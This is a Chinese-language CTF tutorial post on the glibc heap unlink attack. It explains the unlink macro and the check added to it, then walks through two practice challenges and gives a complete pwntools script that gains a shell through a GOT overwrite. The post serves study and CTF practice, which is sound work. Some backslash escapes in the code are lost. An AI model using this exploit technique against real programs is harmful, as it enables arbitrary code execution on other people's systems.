这个攻击主要利用了堆在处理chunk
的free
操作之后会合并相邻的空闲chunk
的行为,当执行合并操作的时候会调用unlink
操作将chunk
从bins
的链表中剥离。
前置知识
chunk
块的结构如下(暂时不考虑fd_nextsize
和bk_nextsize
):
在早版本的libc
中,unlink
的宏定义为:
/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
用图来表示就是:
所以,只要能控制某一个将要执行unlink
操作的chunk
,将其fd
置为free@got - 0xC
,bk
置为shellcode
,则:
-
FD = P->fd
,FD = free@got - 0xC
-
BK = P->bk
,BK = shellcode
-
FD->bk = BK
,free@got - 0xC + 0xC = shellcode
-
BK->fd = FD
,shellcode + 0x8 = free@got - 0xC
这样等同于修改了free
函数的got
表,在下一次执行free
的时候就会跳转到shellcode
的位置上。
但是在目前的libc
中,在执行unlink
前都会进行安全校验,具体看宏定义:
/* Take a chunk off a bin list */
#define unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
else {
FD->bk = BK;
BK->fd = FD;
...
}
}
进行__builtin_expect (FD->bk != P || BK->fd != P, 0)
判断,即判断FD->bk
与BK->fd
是否都相等,且都等于P
。
这种也可以绕过,条件为:
-
程序中存在一个全局指针变量 ptr -
ptr 指向的堆内存可由用户控制
例题
1、后向合并
32
位程序,源代码如下:
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]){
char *first, *second;
first = malloc(666);
second = malloc(12);
if (argc != 1)
strcpy(first, argv[1]);
free(first);
free(second);
return 0;
}
程序中明显存在堆溢出,因为argv[1]
的大小是不可控制的,可以一直溢出到second
。
将second
的prev_size
字段溢出成偶数,size
字段溢出成-4
。
然后执行free(first)
,堆管理器会去查找first
这个chunk
前后有没有空闲的chunk
块,而判断second
是否在使用的标志是second
的下一个chunk
的prev_inuse
标志是否为1。
由于second
的size
字段为-4
,所以堆管理器找到的下一个chunk
的地址为second + (-0x4)
,暂时把这个虚构的chunk
称为temp
。temp
会把second
的prev_size
当成自己的size
字段,为偶数,表示前一个chunk
(即second
)是空闲状态,故会执行unlink操作。
通过修改second
的fd
和bk
指针,可以实现将free
的got
表修改为one_gadget
的地址,等到执行第二次free
操作时触发。
(有点乱,希望之后我还能看得懂)
2、前向合并
题目链接:https://github.com/0x4C43/Linux-Exploit/tree/master/heap_unlink
IDApro打开:
典型的增删改查程序,溢出点在set
函数:
很明显的缓冲区溢出。
直接给writeup
from pwn import *
context(arch="i386", os="linux")
context.log_level = "debug"
p = process("./heap")
elf = ELF("./heap")
libc = elf.libc
def add(length):
p.sendlineafter(b"5.Exitn", b"1")
p.sendlineafter(b"Input the size of chunk you want to add:", length.encode("latin-1"))
def edit(index, data):
p.sendlineafter(b"5.Exitn", b"2")
p.sendlineafter(b"Set chunk index:", index.encode("latin-1"))
p.sendlineafter(b"Set chunk data:", data)
def delete(index):
p.sendlineafter(b"5.Exitn", b"3")
p.sendlineafter(b"Delete chunk index:", index.encode("latin-1"))
def detail(index):
p.sendlineafter(b"5.Exitn", b"4")
p.sendlineafter(b"Print chunk index:", index.encode("latin-1"))
add("120")
add("120")
add("120")
add("120")
edit("3", b"/bin/shx00")
fd = 0x8049d60 - 0xc
bk = 0x8049d60 - 0x8
payload = p32(0) + p32(0x79) + p32(fd) + p32(bk) + b"a" * 0x68 + p32(0x78) + p32(0x80)
edit("0", payload)
delete("1")
free_got = elf.got["free"]
payload = b"a" * 0xC + p32(free_got)
edit("0", payload)
detail("0")
libc.address = u32(p.recv(4)) - libc.sym["free"]
log.success("{}:{:#x}".format("libc.address", libc.address))
system_addr = libc.sym["system"]
edit("0", p32(system_addr))
delete("3")
p.interactive()
首先,利用add
函数创建了4个大小为0x78
的堆块,但是由于prev_size
和size
的存在,实际的堆块大小为0x78 + 0x8 = 0x80
。
在chunk0
内构造一个可控的chunk P
,具体:
fd = 0x8049d60 - 0xc
bk = 0x8049d60 - 0x8
payload = p32(0) + p32(0x79) + p32(fd) + p32(bk) + b"a" * 0x68 + p32(0x78) + p32(0x80)
edit("0", payload)
其中0x8049d60
是存储堆块地址的数组首地址。
通过这个操作,得到四个chunk
的内容如下:
将chunk 1
的prev_size
和size
覆盖成0x78
和0x80
,此时堆管理器会将虚构的chunk P
执行unlink
操作,可以看到payload
中的chunk P
的fd
和bk
指针经过构造成功绕过安全校验。执行delete("1")
,将chunk 1
执行free
操作,堆管理器会将chunk P
执行unlink
操作,具体的操作如下:
*(0x8049d60 - 0xc + 0xc) = 0x8049d60 - 0x8
*(0x8049d60 - 0x8 + 0x8) = 0x8049d60 - 0xc
最终就是堆块首地址,也就是chunk 0
的地址被修改为0x8049d60 - 0xc
。此时如果再次编辑chunk 0
,写入的payload
为:
free_got = elf.got["free"]
payload = b"a" * 0xC + p32(free_got)
edit("0", payload)
覆盖堆块数组的首地址为free@got
的地址,然后可以使用查看操作得到chunk 0
地址的值,也就是free@got
的值,达到leak
出libc
基地址的目的。
detail("0")
libc.address = u32(p.recv(4)) - libc.sym["free"]
log.success("{}:{:#x}".format("libc.address", libc.address))
再次对chunk 0
执行edit
操作,将free@got
修改为system
的地址,由于之前在chunk 3
读入了字符串/bin/shx00
,最后执行delete("3")
,达到getshell
的目的。
edit("3", b"/bin/shx00")
system_addr = libc.sym["system"]
edit("0", p32(system_addr))
delete("3")
最终
参考链接
-
linux堆溢出-unlink:http://0x4c43.cn/2017/1231/linux-heap-memory-overflow-unlink-attack/ -
《CTF那些事儿》
原文始发于微信公众号(Stack0verf1ow):【PWN】堆溢出攻击-unlink
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论